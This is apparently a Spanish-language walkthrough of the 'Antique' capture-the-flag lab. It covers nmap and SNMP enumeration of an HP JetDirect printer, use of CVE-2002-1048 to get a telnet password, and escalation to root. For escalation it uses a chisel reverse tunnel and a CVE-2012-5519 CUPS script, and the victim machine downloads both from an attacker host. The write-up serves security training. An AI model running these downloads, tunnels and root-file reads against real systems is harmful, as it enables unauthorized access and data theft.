Ir al contenido

Antique

Autor
Santiago Chavarro

Enumeración
#

Puertos TCP
#

nmap -p- --open --min-rate 2000 -sS -n -Pn -vvv -oG allPorts IP

Host: 10.129.2.104 ()   Status: Up
Host: 10.129.2.104 ()   Ports: 23/open/tcp//telnet///

Puertos UDP
#

nmap -sUVC -oG UDP 10.129.2.104

Host: 10.129.2.104 ()   Ports: 68/open|filtered/udp//dhcpc///, 161/open/udp//snmp//SNMPv1 server (public)/  Ignored State: closed (998)

Los únicos dos servicios que hay abiertos es el puerto 23/TCP dedicado a Telnet y el 161/UDP dedicado a SNMP.

Telnet
#

Al momento de tratar de conectarnos a telnet obtendremos el siguiente mensaje:

HP JetDirect es un hardware tipo servidor que ofrece HP para que las impresoras sean accesible desde una red.

SNMP
#

Nmap
#

Lo primero que trate de hacer fue enumerar con nmap y sus scripts pero no obtuve un resultado satisfactorio mas allá de unos security strings:

nmap -sU -p 161 --script snmp* 10.129.3.243
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 21:07 -0500
Nmap scan report for 10.129.3.243
Host is up (0.099s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|   <empty> - Valid credentials
|   cascade - Valid credentials
|   secret - Valid credentials
|   rmonmgmtuicommunity - Valid credentials
|   ANYCOM - Valid credentials
|   volition - Valid credentials
|   ILMI - Valid credentials
|   TENmanUFactOryPOWER - Valid credentials
|   MiniAP - Valid credentials
|   PRIVATE - Valid credentials
|   admin - Valid credentials
|   private - Valid credentials
|   public - Valid credentials
|   PUBLIC - Valid credentials
|   snmpd - Valid credentials
|   cisco - Valid credentials
|   mngt - Valid credentials
|_  snmp-Trap - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 20.90 seconds

Metasploit
#

Después trate con Metasploit:

CVE-2002-1048
#

Finalmente busque en un navegador jetdirect snmp exploit y encontré un CVE que filtraba la contraseña que generalmente se usaba también en telnet, además encontré una PoC que ayudaba a realizar la explotación de esta vulnerabilidad.

Usuario
#

Con el PoC encontrado y uno de los community strings que habíamos hallado vamos a ejecutar el ataque:

E iniciamos sesión en telnet:

Podemos ejecutar comandos de sistema por lo que podemos hacer una enumeración para hallar la forma de escalar privilegios.

Root
#

Luego de enumerar cosas básicas para escalar privilegios lo único encontrado es un servicio en escucha en el puerto 661:

En este caso como no tenemos ssh que es lo que normalmente uso para hacer un port forwarding vamos a aprender a usar chisel para esta misma labor.

Lo primero a tener en cuenta es que tenemos que tener el binario en ambas maquinas tanto la victima como la atacante:

# Maquina atacante

wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz
gunzip chisel_1.11.3_linux_amd64.gz
chmod +x chisel_1.11.3_linux_amd64
python3 -m http.server 80

# Maquina victima
exec wget http://attack-box-ip:80/chisel_1.11.3_linux_amd64
exec chmod +x chisel_1.11.3_linux_amd64

# Maquina atacante
./chisel_1.11.3_linux_amd64 server --reverse --port 51234

# Maquina victima
exec ./chisel_1.11.3_linux_amd64 client attack-box-ip:51234 R:601:127.0.0.1:601

Para ver el servicio entramos desde el navegador web:

CVE-2012-5519
#

Si buscamos el servicio y la versión podremos encontrar este CVE que permite la lectura de archivos con permisos elevados.

# Maquina atacante
wget https://raw.githubusercontent.com/p1ckzi/CVE-2012-5519/refs/heads/main/cups-root-file-read.sh
python3 -m http.server 80

# Maquina victima
exec wget http://attack-box-ip:80/cups-root-file-read.sh
exec chmod +x cups-root-file-read.sh
exec echo "/path/to/file" | ./cups-root-file-read.sh
exec echo "/root/root.txt" | ./cups-root-file-read.sh

Referencias
#